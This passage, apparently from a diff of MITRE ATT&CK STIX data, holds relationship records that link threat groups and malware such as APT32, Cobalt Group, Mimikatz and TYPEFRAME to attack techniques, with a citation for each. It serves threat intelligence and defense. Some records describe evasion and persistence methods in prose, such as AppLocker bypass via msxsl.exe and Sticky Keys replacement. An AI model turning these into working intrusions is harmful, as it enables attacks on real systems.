"Group-IB Anunak", + "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.", + "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf" + } + ], + "modified": "2019-03-22T19:59:27.041Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) collects the network adapter\u2019s IP and MAC address as well as IP addresses of the network adapter\u2019s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc187ed1-3987-4575-b1af-dc150e4329f8", + "external_references": [ + { + "source_name": "ThreatExpert Agent.btz", + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to retrieve metadata for files on disk as well as a command to list the current working directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can delete files and directories.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.493Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8", + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + } + ], + "modified": "2019-04-24T23:36:42.321Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses HTTP and HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers the IP address and domain from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ab61135-89b5-4074-9251-40f41c7f739a", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.439Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command net localgroup administrators.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c13ef6b-5274-4de0-9fad-531b9c87309e", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2019-07-26T23:38:34.070Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a8d8063-3f4d-420d-8c72-2b99077aa487", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.468Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant can use port 127 for communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ad5ed17-dc83-400f-a847-5f14407ce794", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to disable routing and the Firewall on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15489699-7ea0-473f-a4cd-5bc9e05e2104", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) creates a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:01:20.686Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5", + "external_references": [ + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + } + ], + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb74fa31-121d-4e43-9794-048a901f509a", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious links to potential victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8272bde7-817f-4cb4-b073-67859002d310", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-07-17T16:17:30.296Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36f3f6df-5007-4075-84a3-9708132f1468", + "external_references": [ + { + "source_name": "Twitter ItsReallyNick Status Update APT32 PubPrn", + "description": "Carr, N. (2017, December 22). ItsReallyNick Status Update. Retrieved April 9, 2018.", + "url": "https://twitter.com/ItsReallyNick/status/944321013084573697" + } + ], + "modified": "2019-07-17T13:11:38.426Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) can manipulate Registry keys.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--109b2118-d714-41bb-a39d-b1fd1b755b55", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "modified": "2019-07-26T23:00:57.230Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has connected to C2 servers through proxies.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6fb86c58-666c-4a5f-bdd1-417a77761e6f", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.093Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can take screenshots.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bec2b0d9-b76e-4acb-a9a4-adebe4c854c0", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9ed3f57-0331-431a-96ff-b536c966aa6d", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) generates a false TLS handshake using a public certificate to disguise C2 network communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--945a3286-2197-4984-8838-837afcd7925c", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 traffic with AES.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command net start on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To establish persistence, [Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611", + "external_references": [ + { + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31334bcb-0207-41c8-b04a-96c7d6d1a466", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.199Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) has used XOR with 0x90 to obfuscate its configuration file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4afcb9c9-e490-446b-97b1-1c151974242f", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.", + "type": "relationship", + "created": "2017-05-31T21:33:27.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "modified": "2019-03-22T19:55:13.723Z", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winexe](https://attack.mitre.org/software/S0191) installs a service on the remote system, executes the command, then uninstalls the service.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5765c7d1-884f-4d6d-a938-4a92c86a9e21", + "external_references": [ + { + "source_name": "Secpod Winexe June 2017", + "description": "Prakash, T. (2017, June 21). Run commands on Windows system remotely using Winexe. Retrieved January 22, 2018.", + "url": "http://www.secpod.com/blog/winexe/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects address book information from Outlook.", + "type": 